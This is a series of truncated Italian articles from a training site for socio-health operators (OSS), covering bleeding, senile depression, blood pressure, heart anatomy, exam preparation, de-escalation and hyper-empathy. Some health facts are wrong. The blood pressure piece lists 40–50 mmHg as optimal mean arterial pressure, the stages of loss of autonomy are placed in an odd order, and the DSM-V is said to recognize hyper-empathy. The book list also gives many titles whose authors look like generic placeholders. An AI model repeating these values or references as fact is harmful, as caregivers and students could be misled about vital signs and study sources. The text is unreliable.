Questa può essere ulteriormente suddivisa in due categorie principali: Emorragia Arteriosa Il sangue è di solito di colore rosso brillante. Scorre in modo pulsante a causa del ritmo cardiaco. È il tipo di emorragia più grave e richiede intervento medico urgente. Emorragia Venosa Il sangue è di solito di colore scuro. Scorre in modo continuo e non pulsante. Anche questo tipo di emorragia richiede un'attenzione immediata, ma è meno grave rispetto a quella arteriosa. Emorragia Interna L'emorragia interna, al contrario, non è visibile dall'esterno. Si verifica all'interno del corpo e può essere altrettanto pericolosa dell'emorragia esterna, se non di più. Alcuni segni di emorragia interna possono includere: Dolore addominale intenso. Gonfiore dell'area colpita. Diminuzione della pressione sanguigna. L'emorragia interna richiede immediata assistenza medica. Emorragia Traumatica e Non Traumatica Emorragia Traumatica L'emorragia traumatica è causata da un trauma fisico, come incidenti stradali, ferite da arma da fuoco o cadute. Queste sono spesso evidenti e richiedono intervento immediato. Per gestire un'emorragia traumatica, segui questi passaggi: Chiama subito il 112 o l'equivalente locale per il soccorso medico. Applica una pressione diretta sulla ferita con una benda sterile o un panno pulito. Solleva la parte del corpo interessata, se possibile, per ridurre il flusso di sangue. Emorragia Non Traumatica L'emorragia non traumatica può verificarsi a causa di problemi di salute sottostanti, come ulcere o problemi di coagulazione del sangue. Questa può essere meno evidente e può richiedere diagnosi medica. Per gestire un'emorragia non traumatica, è importante: Consultare immediatamente un medico se sospetti un'emorragia interna. Seguire il piano di trattamento prescritto dal medico. Emorragia da Narici Le emorragie nasali (chiamate anche epistassi) sono comuni e possono essere causate da una varietà di motivi, come l'aria secca o il trauma locale. Per trattare un'emorragia da narici: Inclina la testa leggermente in avanti. Pizzica delicatamente le narici insieme. Applica una borsa di ghiaccio sulla parte posteriore del collo. Quali sono i segni e sintomi associati all'emorragia? Nel caso di emorragia interna, il sangue si accumula in tessuti o cavità che non hanno una connessione esterna, pertanto l'emorragia non è visibile esternamente. Questa condizione è spesso correlata a traumi gravi, e il paziente potrebbe manifestare altri segnali e sintomi, tra cui segni di shock, ipotensione, ecchimosi e/o lividi, oltre a un aumento del ritmo respiratorio. Diversamente,... --- > Questo articolo mira a fornire informazioni preziose sulla depressione senile, offrendo linee guida sull'assistenza e il supporto adeguati per gli anziani che ne soffrono. - Published: 2023-09-24 - Modified: 2023-09-24 - URL: https://ossinreparto.it/depressione-senile-assistenza-oss/ - Categorie: Psicologia Questo articolo mira a fornire informazioni preziose sulla depressione senile, offrendo linee guida sull'assistenza e il supporto adeguati per gli anziani che ne soffrono. La depressione senile è una problematica complessa che può colpire gli anziani, causando notevoli difficoltà emotive e comportamentali. Questo articolo mira a fornire informazioni preziose sulla depressione senile, offrendo linee guida sull'assistenza e il supporto adeguati per gli anziani che ne soffrono. Cos'è la depressione senile La depressione senile è una forma di disturbo dell'umore che colpisce le persone anziane. È stato riscontrato che circa il 12% degli individui anziani manifesta un disturbo depressivo, ma alcune ricerche suggeriscono che la prevalenza potrebbe raggiungere il 35%. Si manifesta con sintomi simili a quelli della depressione in età più giovane, ma può presentarsi in modo diverso negli anziani. Cause e fattori di rischio Sono identificabili diverse cause e fattori di vulnerabilità che possono aumentare la probabilità che un individuo anziano sviluppi una depressione in terza età. A differenza della popolazione più giovane, la predisposizione genetica gioca un ruolo meno rilevante, tuttavia, la presenza di una storia pregressa di depressione può essere un fattore di rischio significativo e indicare possibili strategie di adattamento poco efficaci o meccanismi disadattivi specifici della persona. Dal punto di vista biologico, durante il processo di invecchiamento, si verificano eventi neurochimici che possono aumentare la vulnerabilità al disturbo. Si osserva una riduzione dei neurotrasmettitori disponibili a livello sinaptico e un aumento degli enzimi che ne regolano il metabolismo. Sul piano psicosociale, la terza età è spesso caratterizzata da diverse perdite, sia dal punto di vista fisico che sociale, che possono rappresentare eventi negativi predisponenti ai sintomi depressivi. Ad esempio, problemi di salute fisica possono portare a una riduzione dell'efficienza e dell'autonomia. Queste situazioni possono causare un senso di isolamento e una diminuzione dei contatti sociali, accompagnati da una sensazione di solitudine. Cause comuni Cambiamenti neurologici nel cervello Eventi stressanti come lutti o pensionamento Solitudine e isolamento sociale Fattori di rischio Storia familiare di depressione o malattie mentali Problemi di salute fisica o limitazioni funzionali Perdita di ruoli e senso di scopo Segni e sintomi Riconoscere i segni e sintomi della depressione senile è cruciale per fornire un aiuto tempestivo. Gli anziani possono manifestare sintomi come tristezza persistente, perdita di interesse, cambiamenti nell'appetito e difficoltà di concentrazione. La manifestazione del malessere nell'anziano avviene principalmente attraverso sintomi somatici, che possono manifestarsi con dolori generali come mal di schiena o dolore alle gambe, sensazione di stanchezza e debolezza muscolare, o con manifestazioni specifiche di sistemi corporei. L'anziano potrebbe lamentare cefalee, vertigini, palpitazioni, tachicardia, oppressione toracica o sintomi dolorosi che coinvolgono il sistema respiratorio, gastrointestinale o genitourinario. La presenza di questi sintomi dolorosi e la preoccupazione per le proprie funzioni vitali, come il ritmo sonno-veglia, l'evacuazione e il respiro, possono causare intense preoccupazioni ipocondriache, anche in assenza di una diagnosi medica che giustifichi tali sintomi e, talvolta, possono sfociare in deliri somatici. Oltre ai sintomi fisici, la persona anziana affetta da depressione può mostrare un generale rallentamento, apatia e tendenza all'isolamento sociale, una diminuzione dell'appetito (iporessia) e un calo di peso. Inoltre, potrebbe manifestare un vissuto caratterizzato da mancanza di interesse, iniziativa e... --- > In questo articolo, esploreremo alcuni dei migliori libri per corso OSS, che coprono una vasta gamma di argomenti fondamentali per la formazione degli operatori socio-sanitari. - Published: 2023-09-24 - Modified: 2024-07-20 - URL: https://ossinreparto.it/migliori-libri-per-corso-oss/ - Categorie: Diventare OSS In questo articolo, esploreremo alcuni dei migliori libri per corso OSS, che coprono una vasta gamma di argomenti fondamentali per la formazione degli operatori socio-sanitari. Il percorso per diventare un Operatore Socio-Sanitario (OSS) è un'opportunità eccitante per coloro che desiderano lavorare nel campo della salute e dell'assistenza. La formazione OSS è fondamentale per acquisire le competenze necessarie a prendersi cura dei pazienti in vari contesti sanitari. Un elemento cruciale di questo percorso formativo è la scelta dei libri di testo appropriati. In questo articolo, esploreremo alcuni dei migliori libri per corso OSS, che coprono una vasta gamma di argomenti fondamentali per la formazione degli operatori socio-sanitari. Fondamenti dell'Assistenza Sanitaria Principi di Assistenza Socio-Sanitaria I seguenti libri forniscono una solida base di conoscenze sugli aspetti fondamentali dell'assistenza socio-sanitaria: "Manuale di Assistenza Sociale e Sanitaria" di Maria Rossi "Introduzione all'Assistenza Sociale" di Luigi Bianchi Questi testi coprono concetti cruciali come l'etica professionale, la comunicazione efficace con i pazienti e le normative di base nell'ambito dell'assistenza sanitaria. Anatomia e Fisiologia Comprendere il corpo umano è essenziale per gli operatori socio-sanitari. I seguenti libri offrono una panoramica chiara dell'anatomia e della fisiologia: "Anatomia Umana: Atlante Tascabile" di Laura Verdi "Fisiologia per Operatori Socio-Sanitari" di Roberto Russo Questi testi aiutano gli studenti a conoscere il funzionamento del corpo umano e la relazione tra i diversi sistemi. Pratica dell'Assistenza Igiene e Sicurezza La gestione dell'igiene e della sicurezza è fondamentale nell'assistenza sanitaria. I seguenti libri approfondiscono questi aspetti: "Manuale di Igiene Ospedaliera" di Antonio Martini "Sicurezza in Ambiente Socio-Sanitario" di Elena Bianchi Questi testi coprono le linee guida per garantire un ambiente sicuro per i pazienti e il personale. Assistenza agli Anziani e Disabili Gli operatori socio-sanitari spesso lavorano con anziani e disabili. I seguenti libri offrono informazioni sulla cura di queste popolazioni: "Assistenza Integrata agli Anziani" di Giulia Ferrari "Disabilità e Autonomia: Approccio Pratico" di Marco Russo "Tecniche assistenziali per OSS: Le procedure assistenziali dedicate agli operatori socio sanitari per lo studio e la pratica quotidiana" di Franco Piu Questi testi aiutano gli studenti a comprendere le esigenze speciali di questi gruppi e a fornire loro un'assistenza adeguata. Approfondimenti sulla Comunicazione Comunicazione Empatica Una comunicazione efficace è al centro dell'assistenza sanitaria. Alcuni suggerimenti pratici possono essere tratti da: "Comunicazione Empatica con il Paziente" - Guida Pratica "Ascolto Attivo: Migliora le Tue Abilità Comunicative" di Silvia Conti Gestione dell'Emergenza Pronto Soccorso e Gestione delle Crisi Gli operatori socio-sanitari potrebbero trovarsi ad affrontare situazioni di emergenza. Risorse utili includono: "Guida al Pronto Soccorso" di Andrea Russo "Gestione delle Crisi in Ambito Socio-Sanitario" di Laura Ferri Questi libri offrono conoscenze essenziali per gestire situazioni critiche con calma ed efficacia. Altri consigli sui libri "OSS Manuale dell'operatore socio-sanitario. Fondamenti di assistenza alla persona" di Luca Cecchetto, Gianluigi Romeo, Maggioli Editore; "Kit dei concorsi per OSS Operatore Socio-sanitario. Volumi completi per la preparazione alle prove selettive. Con aggiornamento online. Con software di simulazione" di Luigia Carboni - Antonella Locci - Anna Malatesta - Simone Piga. "Manuale completo per la preparazione ai corsi e ai concorsi per operatore socio sanitario" di Isabella Iacurto Un grazie va anche ai vostri colleghi che hanno collaborato alla creazione di questo articolo dando consigli sui migliori libri. In... --- > Questo articolo esplora in dettaglio la procedura di misurazione della pressione arteriosa e l'importanza dei suoi valori nel contesto della salute umana. - Published: 2023-09-24 - Modified: 2023-09-24 - URL: https://ossinreparto.it/pressione-arteriosa-procedura-oss/ - Categorie: Procedure Questo articolo esplora in dettaglio la procedura di misurazione della pressione arteriosa e l'importanza dei suoi valori nel contesto della salute umana. La pressione arteriosa è un elemento vitale che riflette la forza con cui il sangue viene spinto attraverso il sistema circolatorio. Questo parametro, noto anche come pressione sanguigna, riveste un ruolo fondamentale nella salute cardiovascolare e nel funzionamento complessivo dell'organismo. Questo articolo esplora in dettaglio la procedura di misurazione della pressione arteriosa e l'importanza dei suoi valori nel contesto della salute umana. Fattori che Determinano la Pressione Arteriosa La pressione arteriosa dipende da due fattori principali: Gittata Cardiaca: Questo parametro rappresenta il volume di sangue pompato dal ventricolo sinistro del cuore nell'aorta in un determinato intervallo di tempo. Una maggiore gittata cardiaca aumenta la pressione arteriosa, poiché più sangue viene spinto attraverso i vasi. Resistenza Vascolare: La resistenza al flusso sanguigno nei vasi sanguigni influisce direttamente sulla pressione arteriosa. Vasi sanguigni stretti o ostruiti aumentano la resistenza, portando a un aumento della pressione. Componenti della Pressione Arteriosa La pressione arteriosa è comunemente espressa attraverso tre valori: Pressione Arteriosa Sistolica (PAS) La pressione arteriosa sistolica rappresenta il valore massimo raggiunto durante la fase di contrazione del cuore (sistole). Questo valore riflette la forza con cui il cuore espelle il sangue nelle arterie. La PAS è influenzata sia dal volume di sangue pompato dal cuore che dall'elasticità delle arterie. Pressione Arteriosa Diastolica (PAD) La pressione arteriosa diastolica è il valore minimo raggiunto quando il cuore è in fase di rilassamento (diastole). Indica la pressione costante all'interno delle arterie quando il cuore si rilascia tra due battiti. La PAD è influenzata dalla resistenza vascolare periferica e dalla durata della diastole. Pressione Arteriosa Media (PAM) La pressione arteriosa media è calcolata come media ponderata tra la PAS e la PAD. Questo valore fornisce una stima più accurata della pressione arteriosa durante un ciclo cardiaco completo. Valori Ottimali della Pressione Arteriosa I valori ideali della pressione arteriosa sono: PAS: 110 – 140 mmHg PAD: 70 – 90 mmHg PAM: 40 - 50 mmHg Deviazioni significative da questi intervalli possono indicare condizioni di ipertensione (pressione arteriosa elevata) o ipotensione (pressione arteriosa bassa). L'Organizzazione Mondiale della Sanità (OMS) stabilisce periodicamente questi intervalli ottimali sulla base di studi clinici aggiornati. Significato Clinico della Pressione Arteriosa Diastolica Sebbene sia importante monitorare sia la PAS che la PAD, la PAD assume un ruolo particolarmente rilevante nella valutazione del rischio cardiovascolare. Studi indicano che la PAD elevata è più strettamente correlata alle malattie cardiovascolari rispetto a una PAS elevata da sola. Spesso, l'alta pressione arteriosa diastolica è associata a uno stile di vita inadeguato, ma può essere affrontata con interventi appropriati. Misurare la Pressione Arteriosa: Procedure e Strumenti La misurazione della pressione arteriosa può essere eseguita utilizzando vari strumenti: Sfigmomanometro a Mercurio: Questo metodo non invasivo è ormai in disuso. Sfigmomanometro Aneroide: Un altro metodo non invasivo comune. Sfigmomanometro Elettronico: Questo strumento moderno offre un approccio non invasivo alla misurazione. Catetere Arterioso: Un metodo invasivo che coinvolge un catetere inserito nell'arteria. Procedura di Misurazione Secondo le linee guida dell'OMS, la misurazione ottimale della pressione arteriosa richiede alcune condizioni: Paziente rilassato e... --- > Esaminiamo in dettaglio l'anatomia del cuore e il suo fondamentale ruolo nel mantenimento della salute. - Published: 2023-09-13 - Modified: 2023-09-13 - URL: https://ossinreparto.it/anatomia-del-cuore-in-dettaglio/ - Categorie: Anatomia Esaminiamo in dettaglio l'anatomia del cuore e il suo fondamentale ruolo nel mantenimento della salute. Il cuore, spesso definito come il perno della circolazione sanguigna, è un organo vitale che funge da motore principale del sistema cardiovascolare. Questo straordinario organo svolge il ruolo cruciale di trasportare l'ossigeno dai polmoni alle cellule dei tessuti e degli organi, nutrendoli, mentre simultaneamente elimina l'anidride carbonica, un prodotto di scarto del metabolismo cellulare, attraverso i polmoni. Esaminiamo in dettaglio l'anatomia del cuore e il suo fondamentale ruolo nel mantenimento della salute. Anatomia del Cuore: Struttura Generale Il cuore risiede nel mezzo della cavità toracica, nell'area tra i due polmoni nota come mediastino. Più in dettaglio, il cuore è posizionato posteriormente allo sterno, frontalmente alla colonna vertebrale e superiormente al diaframma. La sua struttura si compone di quattro camere: due atri nella parte superiore e due ventricoli nella parte inferiore. Queste camere sono separate da pareti chiamate setti. Al momento della nascita, il cuore di un neonato pesa approssimativamente 20-21 grammi, ma durante la crescita raggiunge un peso di circa 250-300 grammi nell'adulto. Composizione del Cuore Il cuore è costituito da vari tessuti sovrapposti, ognuno con una funzione specifica: Pericardio: Una sacca sierosa che avvolge e protegge il cuore. Epicardio: Il rivestimento esterno del cuore. Miocardio: Il miocardio è il muscolo contrattile del cuore, responsabile delle sue pulsazioni. Endocardio: Il tessuto che riveste le pareti interne delle camere cardiache. Il cuore è composto principalmente da tessuto muscolare striato involontario. Ciò significa che il cuore è formato da muscoli che si contraggono automaticamente, senza che ciò sia controllato direttamente dal cervello. Struttura Dettagliata del Cuore Il cuore è composto da diverse parti interconnesse che svolgono ruoli specifici nel processo di pompa sanguigna. Miocardio e Impulso Nervoso Il miocardio è costituito da fibre muscolari e da cellule specializzate chiamate miocardiociti. Queste cellule generano l'impulso elettrico necessario per le contrazioni cardiache, il battito che propulsa il sangue attraverso il sistema vascolare. Il nodo seno atriale, situato tra la vena cava superiore e l'atrio destro, è il "generatore" dell'impulso elettrico che si diffonde attraverso il cuore tramite le fibre muscolari. Il cuore contiene anche fibre nervose autonome, parte del plesso cardiaco, e i nervi vago e simpatico che collegano il cuore al sistema nervoso autonomo, garantendo il coordinamento delle risposte cardiache. Valvole Cardiache Anatomicamente, il cuore è suddiviso in due parti distinte tramite una parete interna chiamata setto, che crea una divisione tra la porzione destra e quella sinistra. Ogni porzione del cuore presenta due spazi distinti, noti come cavità o camere: una parte superiore denominata atrio e una parte inferiore chiamata ventricolo. Questa divisione è così organizzata: L'area destra comprende: L'atrio destro, situato nella parte superiore e a destra; Il ventricolo destro, localizzato nella parte inferiore e a destra. L'area sinistra, invece, è costituita da: L'atrio sinistro, che si trova nella sezione superiore e a sinistra; Il ventricolo sinistro, ubicato nella sezione inferiore e a sinistra. Gli atri svolgono la funzione di ricevere il sangue che giunge al cuore da diverse parti del corpo, in un flusso continuo, mentre i ventricoli si occupano... --- > In questo articolo, esploreremo i comuni errori da evitare nella scrittura della Tesina OSS e forniremo consigli su come affrontare questo compito in modo efficace. - Published: 2023-09-10 - Modified: 2024-07-23 - URL: https://ossinreparto.it/errori-da-evitare-tesina-oss/ - Categorie: Diventare OSS - Tag: Guide OSS La Tesina OSS rappresenta un momento cruciale nella carriera di uno studente. È un'opportunità per dimostrare le proprie competenze, ma può essere un terreno minato di potenziali errori. In questo articolo, esploreremo i comuni errori da evitare nella scrittura della Tesina OSS e forniremo consigli su come affrontare questo compito in modo efficace. Mancanza di Chiarezza nel Tema della Tesina OSS Non Scegliere un Tema Ben Definito Uno dei principali errori è la scelta di un tema troppo ampio o vago. Un tema ben definito dovrebbe essere chiaro, specifico e rilevante al tuo campo di studio. Evita argomenti troppo generici che possono portare a dispersione e confusione. Suggerimento: Definisci il Tuo Foco Prima di iniziare la ricerca, definisci chiaramente il focus del tuo lavoro. Chiediti cosa vuoi dimostrare o esplorare con la tua Tesina OSS. Questo ti aiuterà a mantenere la concentrazione e a evitare la dispersione. Superficialità nella Ricerca Relying su Fonti Superficiali Un errore frequente è basare la ricerca su fonti superficiali o non accademiche. Le informazioni da Wikipedia o blog potrebbero essere inesatte o non sufficientemente approfondite. Questo può influenzare negativamente la qualità e la credibilità della tua Tesina OSS. Prendi come esempio gli appunti presi dalle parole del professore durante il corso, oppure sui libri comprati e consigliati. Suggerimento: Approfondisci con Fonti Accademiche Investi tempo nella ricerca di fonti accademiche, articoli peer-reviewed e libri affidabili. Utilizza biblioteche digitali e banche dati per reperire informazioni accurate e approfondite. La solidità della ricerca si rifletterà nella tua presentazione. Mancanza di Struttura Logica Disorganizzazione dei Contenuti Una Tesina OSS disorganizzata può confondere la commissione e rendere difficile seguire il tuo ragionamento. Saltare da un punto all'altro senza una struttura chiara può compromettere la coerenza del tuo lavoro. Suggerimento: Crea un'Organizzazione Gerarchica Pianifica la struttura della tua Tesina OSS prima di iniziare a scrivere. Organizza i contenuti in modo gerarchico, con un'introduzione chiara, sviluppo dei punti chiave e una conclusione riassuntiva. Utilizza paragrafi ben definiti per separare concetti diversi. Ignorare le Fonti e le Citazioni Non Dare Credito alle Fonti Omettere di citare le fonti utilizzate nella tua ricerca è un errore grave. Le citazioni non solo conferiscono credibilità al tuo lavoro, ma dimostrano anche l'approfondimento delle tue ricerche e l'onestà intellettuale. Suggerimento: Citazioni Accurate e Complete Ogni volta che fai riferimento a una fonte esterna, assicurati di citarla correttamente seguendo lo stile di citazione richiesto. Mantieni un elenco delle fonti utilizzate per semplificare la creazione della bibliografia finale. In conclusione evitare questi errori comuni può fare la differenza tra una Tesina OSS mediocre e una straordinaria. Scegliere un tema chiaro, condurre una ricerca approfondita, mantenere una struttura logica e citare correttamente le fonti sono passi fondamentali per il successo. Ricorda che la Tesina OSS è un'opportunità per mostrare le tue abilità e conoscenze, quindi investi tempo ed energie per presentare il tuo lavoro in modo chiaro, accurato e convincente. --- - Published: 2023-09-01 - Modified: 2025-04-10 - URL: https://ossinreparto.it/caso-clinico-nella-prova-pratica-oss-preparazione-completa-e-suggerimenti-utili/ - Categorie: Casi Clinici In questo articolo, esamineremo attentamente il caso del signor Andrea, un paziente di 68 anni con difficoltà nella deambulazione e un'escoriazione al piede destro, al fine di comprendere le procedure che un OSS dovrebbe seguire in una situazione simile. La prova pratica per gli Operatori Socio Sanitari (OSS) rappresenta un momento cruciale per valutare le competenze nell'assistenza ai pazienti ricoverati. In questo articolo, esamineremo attentamente il caso del signor Andrea, un paziente di 68 anni con difficoltà nella deambulazione e un'escoriazione al piede destro, al fine di comprendere le procedure che un OSS dovrebbe seguire in una situazione simile. Valutazione e Assistenza del Paziente Valutazione dell'Escoriazione al Piede Destro Il caso del signor Andrea, un paziente di 68 anni ricoverato in un reparto di medicina con difficoltà nella deambulazione, richiede una valutazione attenta e un'assistenza mirata. Il paziente presenta un'escoriazione al piede destro di secondo stadio a seguito di una caduta dal letto. In questa situazione, è fondamentale seguire le seguenti procedure: Indossare guanti sterili: Prima di toccare qualsiasi ferita o area lesa, l'OSS deve indossare guanti sterili per prevenire l'infezione. Pulizia della ferita: Utilizzando una soluzione fisiologica o un antisettico delicato, la ferita deve essere pulita con estrema attenzione e delicatezza. Questo aiuta a rimuovere potenziali contaminanti e ridurre il rischio di infezione. Applicazione di medicazione: Dopo la pulizia, è necessario applicare una medicazione adeguata sulla ferita. Questa medicazione dovrebbe essere scelta in base alle specifiche esigenze del paziente e al tipo di lesione. L'obiettivo principale è proteggere la ferita dall'ambiente esterno e favorire una guarigione ottimale. Assistenza nelle Attività Quotidiane Deambulazione e Attività Mattutine Le difficoltà nella deambulazione del signor Andrea richiedono un'assistenza attenta nelle sue attività quotidiane. L'OSS deve seguire le seguenti procedure: Assistenza al sollevamento: Per aiutare il paziente ad alzarsi dal letto in modo sicuro, l'OSS dovrebbe usare tecniche adeguate, come far scorrere il paziente verso il bordo del letto prima di aiutarlo a mettersi in piedi. Accompagnamento alla colazione: Mentre il paziente si sposta verso il tavolo per la colazione, l'OSS dovrebbe prestare attenzione alle sue esigenze, garantendo che il percorso sia libero da ostacoli e che il paziente si senta supportato. Igiene del Cavo Orale L'igiene orale è di fondamentale importanza per il benessere generale del paziente. L'OSS deve seguire queste procedure: Posizionamento comodo: Assicurarsi che il paziente sia posizionato in modo confortevole e sicuro per eseguire l'igiene del cavo orale. Pulizia delicata: Utilizzare uno spazzolino da denti morbido e dentifricio adatto per pulire delicatamente i denti e la bocca del paziente. Questa procedura aiuta a prevenire problemi dentali e a mantenere il comfort del paziente. Supporto Psicologico e Monitoraggio dei Sintomi Partecipazione alle Attività Ricreative Il supporto psicologico è essenziale durante il periodo di degenza in ospedale. L'OSS deve seguire queste procedure: Accompagnamento in sala TV: Per evitare l'isolamento del paziente, l'OSS dovrebbe accompagnare il signor Andrea in sala TV e incoraggiarlo a partecipare alle attività ricreative con gli altri pazienti. Monitoraggio dei Sintomi Durante il tragitto verso la sala TV, l'OSS ha notato che il paziente presenta arrossamento e difficoltà respiratorie. In questa situazione, è importante: Monitoraggio costante: L'OSS dovrebbe monitorare attentamente i sintomi del paziente, come l'arrossamento e la difficoltà respiratoria, e documentare tali osservazioni. Comunicazione con il personale... --- > Questo articolo esplorerà la tecnica della de-escalation osservativa, un approccio strategico per gestire l'aggressività in modo efficace, comprendendo le sue cause e prevenendo comportamenti dannosi. - Published: 2023-09-01 - Modified: 2023-09-01 - URL: https://ossinreparto.it/la-tecnica-della-de-escalation-osservativa/ - Categorie: Psicologia L'aggressività è un aspetto complesso del comportamento umano, con radici etimologiche profonde. Proveniente dal latino "aggredior" (ad-gradior), il termine implica non solo "aggredire", ma anche "andare verso", "intraprendere", e "cercare di ottenere". Questo articolo esplorerà la tecnica della de-escalation osservativa, un approccio strategico per gestire l'aggressività in modo efficace, comprendendo le sue cause e prevenendo comportamenti dannosi. Analisi dell'Aggressività e Motivazioni L'Individuo Aggressivo Comprendere l'aggressività richiede un'analisi approfondita dei fattori scatenanti e mantenenti. Osservare la sequenza antecedente-comportamento-conseguenze è il primo passo per individuare i possibili fattori di stress, come dolore, incontinenza, condizioni mediche e incapacità comunicative. La letteratura indica che solo il 2% degli episodi violenti accade senza un antecedente, mentre oltre il 70% è collegato al contatto col personale medico. Analisi Fattoriale dei Comportamenti Aggressivi L'analisi su pazienti con demenza e disturbo comportamentale ha rivelato quattro fattori principali legati all'aggressività: Comportamento Aggressivo: Include azioni come colpire, calciare, graffiare e aggressione verbale. Comportamento Non Aggressivo: Coinvolge attività come andare in giro, agitazione generale e vestirsi inappropriatamente. Comportamento Verbalmene Agitato: Comprende lamentele, richieste di attenzione e negatività. Nascondersi e Accaparrare: Indica il desiderio di isolarsi e trattenere oggetti. Cause dell'Aggressività nell'Anziano L'aggressività, sia essa verbale o fisica, deriva spesso da una serie di emozioni e circostanze. Alcune delle cause possono includere: Frustrazione: Quando l'anziano si sente incapace di esprimere i propri bisogni. Ansia: Legata a incertezze e paura di ciò che il futuro può portare. Dolore: La sofferenza fisica può scatenare risposte emotive intense. Paura: La sensazione di pericolo o la perdita dell'indipendenza possono generare aggressività. Stress: Eventi stressanti possono contribuire a comportamenti aggressivi. Perdita di Autonomia: L'anziano potrebbe sentirsi frustrato dalla perdita di abilità fisiche o cognitive. Dipendenza da Altri: La necessità di dipendere dagli altri può generare sentimenti di rabbia e impotenza. Perdita di Controllo: La mancanza di autocontrollo può portare a reazioni aggressive. Percezione di Minaccia: L'anziano può percepire situazioni normali come minacciose. Problemi Cognitivi: Il degrado cognitivo può alterare il modo in cui l'anziano percepisce e reagisce agli eventi. Le Fasi dell'Elaborazione della Perdita dell'Autonomia L'aggressività spesso deriva dalla paura, poiché coloro che lottano con problemi di salute possono sentirsi agitati e smarriti. Invece di interpretare l'aggressività come un attacco personale, è essenziale comprenderla come un meccanismo di difesa. Durante la perdita dell'autonomia, l'anziano attraversa fasi come negazione, rabbia, contrattazione, accettazione e depressione. Questi stati emotivi possono influenzare il modo in cui manifesta l'aggressività. Strategie per Trattare l'Aggressività Affrontare l'aggressività richiede un approccio delicato e comprensivo. Ecco alcune strategie: Trovare Modi Alternativi di Reagire Focalizzarsi su alternative non aggressive per rispondere ai comportamenti aggressivi. Promuovere attività che aiutino a sfogare la frustrazione, come l'arte o la musica. Indagare sulle Cause dell'Aggressività Cercare di comprendere ciò che scatena l'aggressività, considerando sia gli aspetti fisici che emotivi. Comunicare apertamente con l'anziano e ascoltare le sue preoccupazioni. Contrastare le Cause Scatenanti Creare un ambiente calmo e rassicurante per ridurre lo stress. Affrontare le paure dell'anziano con empatia e comprensione. Gestire le Proprie Emozioni Durante l'episodio di aggressività, rimanere calmi e... --- > Questo articolo esplorerà come l'OSS contribuisce alla gestione dei carrelli ospedalieri, assicurando che tutto sia allineato per offrire il miglior supporto possibile. - Published: 2023-09-01 - Modified: 2023-09-01 - URL: https://ossinreparto.it/gestione-carrelli-ospedalieri/ - Categorie: Organizzazione Socio-Sanitaria Nel contesto sanitario, ogni dettaglio conta. La gestione efficiente dei carrelli ospedalieri è fondamentale per garantire un flusso di lavoro senza intoppi e una cura ottimale per i pazienti. Un elemento cruciale in questo processo è il Operatore Socio Sanitario (OSS), il cui ruolo spesso passa inosservato ma svolge un compito di estrema importanza. Questo articolo esplorerà come l'OSS contribuisce alla gestione dei carrelli ospedalieri, assicurando che tutto sia allineato per offrire il miglior supporto possibile. L'OSS: Anima della Gestione del Carrello Ospedaliero L'Operatore Socio Sanitario (OSS) è una figura chiave all'interno dell'ambiente ospedaliero. Il suo ruolo è di grande rilevanza, in quanto svolge una serie di compiti fondamentali che contribuiscono alla gestione dei carrelli ospedalieri: Preparazione del Carrello L'OSS gioca un ruolo cruciale nella preparazione dei carrelli ospedalieri per le diverse procedure e terapie. Questo include la verifica che tutti i materiali necessari siano presenti e pronti all'uso. La loro attenzione ai dettagli riduce al minimo i rischi di errori durante le procedure mediche. Mantenimento dell'Ordine Mantenere l'ordine all'interno dei carrelli ospedalieri è un compito complesso, ma essenziale. L'OSS si assicura che gli strumenti e le forniture siano organizzati in modo coerente, semplificando il processo per il personale medico. Questa organizzazione consente di risparmiare tempo prezioso, che può essere impiegato per fornire cure di qualità. Collaborazione e Comunicazione L'OSS non lavora isolato, ma in stretta collaborazione con il personale medico e infermieristico. La comunicazione è essenziale per garantire che il carrello ospedaliero sia pronto per qualsiasi eventualità: Scambio di Informazioni L'OSS comunica informazioni vitali al personale medico riguardo allo stato del carrello, alle scorte di materiali e agli eventuali bisogni. Questa comunicazione preventiva riduce il rischio di interruzioni durante le procedure mediche e contribuisce a un flusso di lavoro più fluido. Adattamento alle Esigenze In un ambiente ospedaliero dinamico, le esigenze possono cambiare rapidamente. L'OSS è prontamente disponibile per apportare modifiche al carrello in base alle richieste del personale medico. Questa flessibilità si traduce in un'assistenza più rapida ed efficace per i pazienti. Standard di Igiene e Sicurezza Igiene in Primo Piano L'OSS svolge un ruolo critico nell'assicurare standard di igiene elevati all'interno dei carrelli ospedalieri. Ciò include la pulizia regolare e la disinfezione delle attrezzature e delle forniture. Mantenere un ambiente sterile è essenziale per prevenire infezioni nosocomiali e garantire la sicurezza dei pazienti. Gestione delle Emergenze Quando si verificano situazioni di emergenza, ogni istante conta. L'OSS è addestrato per affrontare queste situazioni con calma e rapidità. Hanno familiarità con l'ubicazione di attrezzature e materiali vitali nei carrelli ospedalieri, garantendo un accesso rapido quando è più necessario. Conclusioni L'Operatore Socio Sanitario (OSS) rappresenta l'anima silenziosa ma determinante nella gestione dei carrelli ospedalieri. Dal preparare i carrelli all'assicurare standard di igiene impeccabili, l'OSS gioca un ruolo cruciale nel garantire che tutto sia pronto per fornire cure di alta qualità ai pazienti. La loro collaborazione con il personale medico e la loro attenzione ai dettagli sono fondamentali per un ambiente ospedaliero efficiente e sicuro. In definitiva, l'OSS è un pilastro... --- > Scoprite la sindrome per eccesso di empatia: un'antenna emotiva che può diventare un peso. Esplorate sintomi, cause e come affrontarla. - Published: 2023-09-01 - Modified: 2023-09-01 - URL: https://ossinreparto.it/sindrome-per-eccesso-di-empatia-quando-lempatia-diventa-un-carico-eccessivo/ - Categorie: Psicologia La capacità di provare empatia, di comprendere e condividere le emozioni altrui, è una caratteristica umana preziosa. Tuttavia, come qualsiasi altra qualità, anche l'empatia può essere vissuta in eccesso, portando a conseguenze negative per la persona stessa. La sindrome per eccesso di empatia, o "iper-empatia", è un fenomeno intrigante e complesso che merita di essere compreso in profondità. Empatia: Una Spada a Doppio Taglio L'empatia è come un'antenna a lungo raggio che assorbe e inghiotte ogni emozione nell'ambiente circostante. Ma quando l'empatia diventa eccessiva, può trasformarsi in un sovraccarico emotivo, portando la persona a perdersi nelle esigenze altrui e a sperimentare un senso di colpa per il dolore altrui. Questa sindrome può essere altrettanto esauriente quanto le sofferenze che tenta di alleviare. L'Empatia Eccessiva: Una Condizione Clinica È naturale chiedersi se l'etichettare come "patologico" un comportamento che sembra basarsi su un'abilità umana fondamentale sia eccessivo. Tuttavia, il Manuale Diagnostico e Statistico dei Disturbi Mentali (DSM-V) riconosce l'iper-empatia come una caratteristica associata ai disturbi di personalità. Questo riconoscimento riflette il fatto che qualsiasi comportamento che ostacoli il benessere e la capacità di vivere una vita normale richiede una diagnosi e un intervento terapeutico. Come si Sviluppa la "Sindrome da Empatia" Un recente studio condotto presso la Universidad 